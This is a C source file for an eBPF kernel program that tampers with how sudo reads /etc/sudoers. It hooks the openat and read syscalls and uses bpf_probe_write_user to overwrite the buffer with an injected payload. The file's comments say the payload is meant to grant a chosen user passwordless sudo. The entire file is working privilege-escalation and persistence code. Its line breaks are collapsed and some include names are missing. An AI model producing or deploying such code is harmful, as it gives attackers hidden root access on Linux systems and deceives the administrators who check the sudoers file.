// SPDX-License-Identifier: BSD-3-Clause #include "vmlinux.h" #include #include #include #include "common.h" char LICENSE[] SEC("license") = "Dual BSD/GPL"; // Ringbuffer Map to pass messages from kernel to user struct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024); } rb SEC(".maps"); // Map to hold the File Descriptors from 'openat' calls struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, size_t); __type(value, unsigned int); } map_fds SEC(".maps"); // Map to fold the buffer sized from 'read' calls struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, size_t); __type(value, long unsigned int); } map_buff_addrs SEC(".maps"); // Optional Target Parent PID const volatile int target_ppid = 0; // The UserID of the user, if we're restricting // running to just this user const volatile int uid = 0; // These store the string we're going to // add to /etc/sudoers when viewed by sudo // Which makes it think our user can sudo // without a password const volatile int payload_len = 0; const volatile char payload[max_payload_len]; SEC("tp/syscalls/sys_enter_openat") int handle_openat_enter(struct trace_event_raw_sys_enter *ctx) { size_t pid_tgid = bpf_get_current_pid_tgid(); int pid = pid_tgid >> 32; // Check if we're a process thread of interest // if target_ppid is 0 then we target all pids if (target_ppid != 0) { struct task_struct *task = (struct task_struct *)bpf_get_current_task(); int ppid = BPF_CORE_READ(task, real_parent, tgid); if (ppid != target_ppid) { return 0; } } // Check comm is sudo char comm[TASK_COMM_LEN]; bpf_get_current_comm(comm, sizeof(comm)); const int sudo_len = 5; const char *sudo = "sudo"; for (int i = 0; i < sudo_len; i++) { if (comm[i] != sudo[i]) { return 0; } } // Now check we're opening sudoers const char *sudoers = "/etc/sudoers"; char filename[sudoers_len]; bpf_probe_read_user(&filename, sudoers_len, (char*)ctx->args[1]); for (int i = 0; i < sudoers_len; i++) { if (filename[i] != sudoers[i]) { return 0; } } bpf_printk("Comm %s\n", comm); bpf_printk("Filename %s\n", filename); // If filtering by UID check that if (uid != 0) { int current_uid = bpf_get_current_uid_gid() >> 32; if (uid != current_uid) { return 0; } } // Add pid_tgid to map for our sys_exit call unsigned int zero = 0; bpf_map_update_elem(&map_fds, &pid_tgid, &zero, BPF_ANY); return 0; } SEC("tp/syscalls/sys_exit_openat") int handle_openat_exit(struct trace_event_raw_sys_exit *ctx) { // Check this open call is opening our target file size_t pid_tgid = bpf_get_current_pid_tgid(); unsigned int* check = bpf_map_lookup_elem(&map_fds, &pid_tgid); if (check == 0) { return 0; } int pid = pid_tgid >> 32; // Set the map value to be the returned file descriptor unsigned int fd = (unsigned int)ctx->ret; bpf_map_update_elem(&map_fds, &pid_tgid, &fd, BPF_ANY); return 0; } SEC("tp/syscalls/sys_enter_read") int handle_read_enter(struct trace_event_raw_sys_enter *ctx) { // Check this open call is opening our target file size_t pid_tgid = bpf_get_current_pid_tgid(); int pid = pid_tgid >> 32; unsigned int* pfd = bpf_map_lookup_elem(&map_fds, &pid_tgid); if (pfd == 0) { return 0; } // Check this is the sudoers file descriptor unsigned int map_fd = *pfd; unsigned int fd = (unsigned int)ctx->args[0]; if (map_fd != fd) { return 0; } // Store buffer address from arguments in map long unsigned int buff_addr = ctx->args[1]; bpf_map_update_elem(&map_buff_addrs, &pid_tgid, &buff_addr, BPF_ANY); // log and exit size_t buff_size = (size_t)ctx->args[2]; return 0; } SEC("tp/syscalls/sys_exit_read") int handle_read_exit(struct trace_event_raw_sys_exit *ctx) { // Check this open call is reading our target file size_t pid_tgid = bpf_get_current_pid_tgid(); int pid = pid_tgid >> 32; long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buff_addrs, &pid_tgid); if (pbuff_addr == 0) { return 0; } long unsigned int buff_addr = *pbuff_addr; if (buff_addr <= 0) { return 0; } // This is amount of data returned from the read syscall if (ctx->ret <= 0) { return 0; } long int read_size = ctx->ret; // Add our payload to the first line if (read_size < payload_len) { return 0; } // Overwrite first chunk of data // then add '#'s to comment out rest of data in the chunk. // This sorta corrupts the sudoers file, but everything still // works as expected char local_buff[max_payload_len] = { 0x00 }; bpf_probe_read(&local_buff, max_payload_len, (void*)buff_addr); for (unsigned int i = 0; i < max_payload_len; i++) { if (i >= payload_len) { local_buff[i] = '#'; } else { local_buff[i] = payload[i]; } } // Write data back to buffer long ret = bpf_probe_write_user((void*)buff_addr, local_buff, max_payload_len); // Send event struct event *e; e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (e) { e->success = (ret == 0); e->pid = pid; bpf_get_current_comm(&e->comm, sizeof(e->comm)); bpf_ringbuf_submit(e, 0); } return 0; } SEC("tp/syscalls/sys_exit_close") int handle_close_exit(struct trace_event_raw_sys_exit *ctx) { // Check if we're a process thread of interest size_t pid_tgid = bpf_get_current_pid_tgid(); int pid = pid_tgid >> 32; unsigned int* check = bpf_map_lookup_elem(&map_fds, &pid_tgid); if (check == 0) { return 0; } // Closing file, delete fd from all maps to clean up bpf_map_delete_elem(&map_fds, &pid_tgid); bpf_map_delete_elem(&map_buff_addrs, &pid_tgid); return 0; }